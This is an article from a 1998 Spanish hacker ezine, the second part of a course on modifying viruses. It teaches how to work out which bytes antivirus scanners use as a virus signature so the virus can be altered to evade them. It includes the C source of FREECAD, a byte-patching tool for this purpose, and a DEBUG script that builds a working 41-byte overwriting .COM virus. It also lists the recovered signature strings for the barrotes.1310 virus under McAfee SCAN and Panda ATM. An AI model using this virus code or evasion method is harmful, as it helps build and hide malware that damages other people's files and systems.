TOP
AutoresTOTAL
LecturasSET 13
97887 visitas
- Contenidos - SET Staff
- Editorial - Editor
- Noticias - SET Staff
- Cambios - Paseante & Falken
- Hijacking - ~AtilA~
- Si alguien llama a tu puerta... - Paseante
- Curso basico practico de crackeo de virus - +NetBul
- Proyectos, peticiones, avisos - SET Staff
- GSM - Segunda Parte - Falken
- Los bugs del mes - SET Staff
- Hackear el Teletexto - ArKaNo
- La voz del lector - SET Staff
- Introduccion a Iberpac I - El Nuevo Eljaker
- Diseccion del 8086 - Sir Willy the Psikopath
- Jugando con ensamblador - Tzalik
- Spanish Phreaking Tools - Falken
- HTTP 1.1 - Trypsode
- Despedida - SET Staff
- Fuentes Extract - SET Staff
- Llaves PGP - SET Staff
Curso basico practico de crackeo de virus
Autor: +NetBul
-[ 0x06 ]-------------------------------------------------------------------- -[ CURSO BASICO-PRACTICO DE CRACKEO DE VIRUS II ]---------------------------- -[ by +NetBul ]-------------------------------------------------------SET-13- "HOW TO" PILLAR CADENAS DE BUSQUEDA DE ANTIVIRUS Curso Basico-Practico de CRACKEO de VIRUS (II) @98 by +NetBuL *** INTRODUCCION *** ====================== Primero quiero aclarar (como siempre, no?), que este articulo esta destinado a usos didacticos (y va en serio). EL BUEN/MAL USO QUE LE DEIS ES RESPONSABILIDAD VUESTRA, QUEDA CLARO ... Por cierto, antes de que se me olvide, en la primera parte del curso hay dos ERRATAS : - donde comentaba eso de cambiar la fecha clave, decia que el virus "compara DH con 01 y DL con 05, o lo que es lo mismo, CX con 0105." ^^ Queda claro (y si no lo ves dale al RESET :-) que es: DX - en un par de sitios al final del texto, dice que el barrotes resta 50 decimal (2C hex) a la cadena encriptada. Es evidente que 50 decimal *NO* es 2C hex, sino 32 hex (gwevos, los enanos !!). :-) ^^^^^^^^^^ ^^^^^^ Well Manuel, aclarado el entuertorl empiezo el rollete. La historia esta de modificar virus puede tener 2 objetivos, a saber: 1.- conseguir simplemente que el virus funcione de otra forma 2.- conseguir que no sea detectado por un determinado antivirus Este ultimo es el que nos interesa ahora ... En la primera parte de este curso vimos como modificar un virus, consiguiendo nuevos 'efectos 3D' y con un poco de suerte conseguiamos que algun antivirus que lo detectaba ya no lo hiciese. Esa 'suerte' dependia de si al hacer los cambios 'tocabamos' parte de la cadena de busqueda del antivirus XXX para ese virus en concreto. En esta 2da parte voy a explicar mi metodo (cutre pero efectivo) para pillar estas cadenas de busqueda de los antivirus, es decir, para saber que cadenas buscan los antivirus dentro de un archivo para detectar si tiene un virus. Por supuesto estas cadenas pueden ser diferentes para cada par virus/antivirus. Ademas de la utilidad comentada hay otros casos en los que nos puede interesar conocer las C.D.B., a saber: - si has hecho un virus y quieres saber *como* te lo detectan, para saber *que* tienes que modificar ... - si tienes curiosidad por saber como 'se lo monta' cada antivirus, hay cosas curiosas ... Estudiando que busca cada antivirus en un determinado virus puedes aprender cosas sobre esta gente, aunque eso es trabajo para el Rappel. - si no tienes nada mejor que hacer puedes pasar un rato entretenido :-) *** COMO SE HASE *** ====================== El sistema no es nada del otro mundo, supongo que habra otras formas, pero esta es la mas sencilla. Supongamos que tenemos un virus (un archivo infectado) con un tamanyo de 16 bytes. Vamos a copiar 16 archivos identicos al virus original (es decir, 16 archivos infectados), pero en cada uno de ellos vamos a sobreescribir un byte, por ejemplo con un 90h. El nombre que pongamos a cada uno de estos archivos sera siguiendo una secuencia hexadecimal : Ej: VIRUS.COM de 16 bytes, lo copiamos en 16 archivos (0.COM ... F.COM) en 0.COM tachamos el byte en la posicion 0 con un 90h 1.COM tachamos el byte en la posicion 1 con un 90h ... ... F.COM tachamos el byte en la posicion F con un 90h Resumiendo, tendremos tantas copias del virus como tamanyo tiene y seran copias identicas excepto un byte 'tachado' con un 90h que sera distinto en cada una de estas copias. Claro, clarito :-) Bien, pues ahora solo falta pasar el antivirus de turno a nuestros 16 churumbeles y ver *donde* detectan el virus ... Todos aquellos archivos que *NO* sean detectados por un antivirus nos indicaran en que posicion se encuentra cada uno de los bytes que forman parte de la cadena de busqueda de ese antivirus para ese virus ! Ejemplo : Supongamos que pasamos el antivirus SCAN a los 16 archivos de antes: Virus pepitilla detectado en archivos: 0, 1, 2, 3, C, D, E y F.COM ... nos indica que el SCAN detecta el virus con la cadena compuesta por los bytes 4h a Bh (para el SCAN el virus pepitilla se reduce a esta cadena de 8 bytes). Si modificamos *cualquiera* de los bytes de esta cadena, el SCAN ya no lo detectara. Facil, no? NOTA IMPORTANTE : Con este sistema vamos a crear N archivos con un tamanyo total de: N^2 lo cual quiere decir que para un virus de 300 bytes crearemos: 300 archivos de 300 bytes = 90.000 bytes y para un virus de 1310 bytes como el amigo barrotes : 1310 archivos * 1310 bytes = 1.716.100 bytes o lo que es lo mismo para un virus de 7000 bytes: == 50 Mb !! Por eso es recomendable que el fichero infectado sea lo mas pequenyo posible y si es necesario se puede crear un mini DUMMY.COM e infectarlo con el virus como ya explique en la 1a parte. *** INGREDIENTES *** ====================== Lo de copiar tantos archivos como bytes tenga el virus y 'parchearlos' a mano es una tarea interminable si el virus tiene mas de 3 bytes, como es habitual X-), asi que he escrito un programa en p*to C para que no se os borren las huellas de los dedos ... El programa se llama FREECAD por eso de que 'libera la cadena' (que original, no?). No es nada del otro mundo pero FUNCIONA, osea, funcionan tanto el programa como el metodo. Ademas del aviso de antes, recomiendo que no lo useis con virus mayores de unos 2000 bytes, puede ser interminable. En mi PC "de epoca" tarda 2 minutos y medio en parchear un archivo de 1500 bytes !. Pero lo peor no es eso sino repasar luego cuales son los archivos en los que se detecta el virus y en los que no ... paciencia. :-) Al finalizar vuestros estudios espirituales y borrar todos los archivos que se crean os recomiendo que paseis el SCANDISK y el DEFRAG al HD porque tantos archivos en un directorio os pueden arrasar el chiringuito ;-) NOTA: los archivos de salida siguen una numeracion hexadecimal para facilitar las cosas, el 1F.COM tendra el byte en la posicion 1Fh sobreescrito, etc... Puede darse el caso de que alguno de los archivos se llame igual que algun .BAT o .EXE que tengais en el PATH, y al querer ejecutar un supuesto AB.COM lo que hagais sea ejecutar el virus!!. Si ademas coincide con que el 'parche' en la posicion ABh no afecta para nada al virus y siga funcionando bien ... pues eso, cuidadin cuidadin. :-) NOTA BIS: puede darse el caso de que dentro de la cadena de busqueda este incluido un '90' y por tanto no lo sabremos ya que el archivo en el que se cambie este byte quedara igual y *SI* que sera detectado el virus en el. Una posible mejora en el programa seria detectar si hay algun un byte (hex) que no se encuentre en todo el codigo y asi el byte de sustitucion seria ese numero. En caso de que esten todos (del 00 al FF) el byte de sustitucion seria el '90' predeterminado. Ahi va el fuente en C del FREECAD ... <++> cursocv/freecad.c /******************************************************************/ /* FREECAD v0.5b (c)1998 by +NetBuL para Saqueadores (SET) */ /******************************************************************/ /* Bien, ahi queda eso. Quizas sobra mucho rollete pero tenia que */ /* dejarlo bonito y presentable. Si alguien se anima y lo mejora */ /* solo espero que conserve los CREDITOS y el NOMBRE (FREECAD) y */ /* tambien que me envie el nuevo !! */ /* Compilado con Borland C++ 3.1 */ #include <stdio.h> #include <stdlib.h> /* itoa */ #include <string.h> FILE *origen; FILE *destino; void info1(void) { printf("\nFREECAD v0.5b\t\t (c)1998 by +NetBuL para Saqueadores Edicion Tecnica"); printf("\n------------ (SET): http://www.thepentagon.com/paseante (puntero) ------------\n"); return; } void info2(void) { printf("\n\t Uso: FREECAD <archivo_infectado_virus> [ -com | -exe ]\n"); printf("\n\tFREECAD lee el <archivo_infectado_virus> de tamanyo 'N' "); printf("\n\ty crea 'N' archivos identicos con nombres en hexadecimal "); printf("\n\tsin extension (o con extension [-com|-exe]), identicos "); printf("\n\t*excepto* en un byte que es sustituido por 90hex."); printf("\n\tEl nombre de cada archivo creado indicara en que posicion se"); printf("\n\tha sustituido el byte, de forma que, p.ej. en el archivo:"); printf("\n\n\t \"A3F\" se habra cambiado el byte en la posicion A3Fh."); printf("\n\n\tPara detectar la cadena de busqueda del antivirus XXX para "); printf("\n\tel virus <archivo_infectado_virus>, solo hay que pasar el "); printf("\n\tantivirus XXX sobre los 'N' archivos creados:"); printf("\n\n\t --> Los archivos en los que *NO* se detecte el virus indicaran"); printf("\n\t la posicion de los bytes de la cadena de busqueda ...\n"); printf("\n ATENCION al numero de archivos creados y al tamanyo total (N^2) !!"); printf("\n ... mas informacion en el n§ 13 de SET\n"); return; } void main(int argc, char *argv[]) { int tp100=0,a=1; int fich_creados; int cont_bytes; int ext_com=0,ext_exe=0; int tamanyo=0; char *fuente; char byte_leido; char parche='\x90'; char nombre[]={"12345678.abc"}; system("cls"); info1(); /*** Filtramos la entrada ***/ if(argc==1){ info2(); exit(-1); } if(!strcmp(argv[2],"-com")) ext_com=1; else if(!strcmp(argv[2],"-exe")) ext_exe=1; /*** Calculamos el tamanyo del fichero origen ***/ if ((origen=fopen(argv[1],"rb"))==NULL){ printf("\n\tERROR abriendo archivo origen : \"%s\"\n",argv[1]); exit(-1); } while(!feof(origen)){ fread(&byte_leido, sizeof(char), 1, origen); if(!feof(origen)) tamanyo++; } /** creamos array fuente **/ fuente = (char *) malloc(tamanyo * sizeof (char)); /** rellenamos array fuente **/ rewind(origen); tamanyo=0; while(!feof(origen)){ fread(&byte_leido, sizeof(char), 1, origen); if(!feof(origen)) { fuente[tamanyo]=byte_leido; tamanyo++; } } fclose(origen); printf("\n\nArchivo origen : \"%s\" (%d bytes) \n",argv[1],tamanyo); /*** BUCLE de copiado ***/ for(fich_creados=0; fich_creados<tamanyo; fich_creados++,tp100++) { cont_bytes=0; itoa(fich_creados,nombre,16); /* 16==hex, 10== dec */ if(ext_com) strcat(nombre,".COM"); else if(ext_exe) strcat(nombre,".EXE"); printf("\r... escribiendo %d archivos.",tamanyo); printf(" Actual: %d (%s)",fich_creados+1,nombre); /* Indicador de % muy a ojo ;-) */ if(tp100==tamanyo/10 && tamanyo>100) { printf(" \b\b\b\b%d%",10*a++); tp100=0; } if ((destino=fopen(nombre,"wb"))==NULL) { printf("\n\n\tERROR creando archivo destino : \"%s\" (HD lleno?)",nombre); printf("\n\t ( total archivos creados: %d )\n",fich_creados); exit(-1); } while(cont_bytes<tamanyo){ if(cont_bytes==fich_creados) fwrite(&parche, sizeof(char), 1, destino); else fwrite(&fuente[cont_bytes], sizeof(char), 1, destino); cont_bytes++; } fclose(destino); } /* fin bucle */ printf("\r... escritos %d archivos, de \"0\" a \"%s\"\t\t\t\n",fich_creados,nombre); } /*FIN MAIN*/ <--> *** ESTUDIO CASO PRACTICO *** =============================== Vamos a repasar todo lo dicho hasta ahora con un caso practico. Para esto incluyo un mini virus de solo 41 bytes. Logicamente es un virus .COM de sobreescritura. Cuando se ejecuta busca el primer .COM del directorio y sobreescribe los primeros 41 bytes con su propio codigo. El SCAN lo detecta como: TRIVIAL-41 EL ATM lo detecta como: MINIMAL Family Creditos: :-) Este virus lo he sacado del curso de virus de sobreescritura de RATBOY. Creo que lo pille en internet, quizas en el CHIBA :-? Para crear el .COM lo cortas, lo grabas como OWRB.SCR y con el DEBUG : DEBUG < OWRB.SCR <++> cursocv/owrb.scr N OWRB.COM E 0100 B4 4E B9 00 00 BA 23 01 CD 21 B8 02 3D BA 9E 00 E 0110 CD 21 93 B4 40 B9 29 00 BA 00 01 CD 21 B4 3E CD E 0120 21 CD 20 2A 2E 63 6F 6D 00 RCX 0029 W Q <--> Pasos a seguir: - creamos virus OWRB.COM con debug - compilamos FREECAD.C - ejecutamos el programa: FREECAD OWRB.COM -com - renombramos (si no has puesto la opcion -com) todos los archivos creados con .COM : ren * *.COM :-) - pasamos antivirus y guardamos resultados en un fichero .LOG - repasamos que ficheros son detectados como virus, los que no detecte formaran parte de la cadena de busqueda de este virus (y el nombre de estos archivos no detectados nos indicara la posicion del byte parcheado, juntando todos los bytes del virus original en esas posiciones tendremos, en teoria, la cadena). En el caso de este virus, estos son los resultados con el SCAN y el ATM: *------------------ SCAN ------------------------* Scan v3.0.0 Copyright (c) McAfee, Inc. 1994-1997. All rights reserved. Virus data file V3000 created 02/13/97 8:38:31 Scanning C:\RATBOY\*.* Found the TRIVIAL-41 virus en : OWRB.COM 20.COM 21.COM 22.COM 23.COM 24.COM 25.COM 26.COM 27.COM 28.COM 29.COM *---------------- ATM (panda) -------------------* Area : C:\RATBOY\????????.??? Ficheros Revisados : 44 Virus Encontrados : 33 Incidencias: MINIMAL Family en: OWRB.COM 2.COM 3.COM 4.COM 5.COM 6.COM 7.COM A.COM B.COM C.COM 12.COM 13.COM 15.COM 16.COM 17.COM 18.COM 19.COM 1A.COM 1B.COM 1C.COM 1D.COM 1E.COM 1F.COM 20.COM 21.COM 22.COM 23.COM 24.COM 25.COM 26.COM 27.COM 28.COM 29.COM Resumiendo, el antivirus Artemis no detecta el virus en los siguientes .COM: 0, 1, 8, 9, D, E, F, 10,11, 14, y el Scan no lo detecta en estos .COM: de 0.COM a 1F.COM Pues eso, si este es el virus original: B4 4E B9 00 00 BA 23 01 CD 21 B8 02 3D BA 9E 00 CD 21 93 B4 40 B9 29 00 BA 00 01 CD 21 B4 3E CD 21 CD 20 2A 2E 63 6F 6D 00 Para el ATM, el virus se reduce a esto: B4 4E xx xx xx xx xx xx CD 21 xx xx xx BA 9E 00 CD 21 xx xx 40 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx Y para el Scan el virus se reduce a esto: B4 4E B9 00 00 BA 23 01 CD 21 B8 02 3D BA 9E 00 CD 21 93 B4 40 B9 29 00 BA 00 01 CD 21 B4 3E CD xx xx xx xx xx xx xx xx xx Cualquier cambio en el virus que 'toque' uno de los bytes que no estan a 'xx' hara que el nuevo virus ya no sea detectado ! Como se puede ver cada antivirus busca cosas distintas, si conseguimos cambiar un byte que este incluido en las cadenas de busqueda de los 2 antivirus conseguiremos matar dos pajaros de un tiro. En nuestro ejemplo podriamos cambiar el byte que esta en la posicion 14h (40h) por otra cosa con sentido ... po bueno, po fale, po malegro ... *** VAMOS QUE NOS VAMOS ! *** =============================== Jopelines, ya estoy acabando. Si no te has enterao de na (dificil) o si esto te la suda, espero que algo de esto que 'kuen' ahora te entretenga un rato. Para los que se lo han leido todo de arribabajo, es una forma de darle mas vidilla al curso este. Como un ejemplo mas del metodo y sobretodo como garantia pa los quejicas e incredulos, incluyo las cadenas de busqueda del SCAN 3.0 y ATM 4.0 (DOS), obtenidas con el FREECAD, para el virus .... tachan !! ... barrotes.1310.A No podia ser otro, que fijacion la del tio este con el @$%& barrotes. :-) Tampoco es para tanto digo yo, de alguna forma hay que seguir un poco el hilo del tema. En el texto anterior (en SET 12) lo primero que haciamos era cambiar la cadena de identificacion del virus, que en el caso del barrotes era "SO". Tambien en otra parte del texto decia que el ATM era una patata o algo por el estilo; pos fale que ya me explico ... resulta que en la cadena de busqueda del barrotes en el ATM esta incluida la xuxodicha marca de identificacion (SO). Y como ya vimos la modificacion esta se puede hacer con la "punta'l c*p*ll*", no hay que comerse mucho el tarro. Cadena del barrotes.1310 para el ATM : 2E 81 3E 54 01 53 4F 75 03 E9 8E 01 E8 EC 01 73 03 E9 86 ^^ ^^ S O Cadena del barrotes.1310 para el SCAN : 80 7C 3B 01 75 02 1E 06 8C C0 2E 01 44 39 Como curiosidad podemos crear un archivo con las dos cadenas y pasarle los 2 antivirus. Vereis que tanto el SCAN como el ATM detectan el virus barrotes.1310 en un archivo de 33 bytes! :-D Mas curioso aun es intentar que desinfecten este archivo ... y es que se vuelven LOCAS! :-))) <++> cursocv/falso.scr N BARROTES.COM E 0100 2E 81 3E 54 01 53 4F 75 03 E9 8E 01 E8 EC 01 73 E 0110 03 E9 86 80 7C 3B 01 75 02 1E 06 8C C0 2E 01 44 E 0120 39 RCX 0021 W Q <--> Como siempre: cortar, guardar como falso.scr, y debug < falso.scr NOTA: En el caso del barrotes las cadenas serian de 16 y 20 bytes respectivamente, pero hay algun byte que podemos ignorar ya que estan en otra parte del codigo y no donde esta el "pegote" que es lo que nos interesa. Asi las cadenas se reducen a 14 bytes en el SCAN y a 19 bytes en el ATM. Para acabar comentare una curiosidad/casualidad. Recordareis que en el numero 6 de SET habia 2 articulos que hablaban del tema virii y en ambos habia un ejemplo de un virus comentado. En el articulo de Episiarca el codigo incluido era el del AMSTRAD y en el de Polimorph era el PIX (pixel). Pues bien, resulta que estos dos virus son EL MISMO virus !!. Hablar del mismo virus sin saberlo en un mismo ezine es casi mas dificil que acertar la quiniela ... :-) La historia de este virus es bastante curiosa, leyendo lo que explica Episiarca sobre el virus y leyendo tambien la base de datos de virus VSUM de Patricia M. Hoffman te enteras de algunas cosillas ... Segun el VSUM el virus PIXEL se distribuyo originalmente en Grecia en la revista Pixel en el anyo 88, y una variacion del mismo, el Pixel-847B (AMSTRAD) se distribuyo en una revista espanyola en un fichero llamado "nocargar.com" (supongo que sera la AMSTRAD USER como dice Episiarca)... Pues nada, ahi queda el rollo. Saludos z z z zzzzz Z Z Z ZZZZZZZZZZ @1998 by +NetBuL ++++++++++++++++ 48617A746520 646F6E616E746520 646520 6F7267616E6F7320 2121 ++++++++++++++++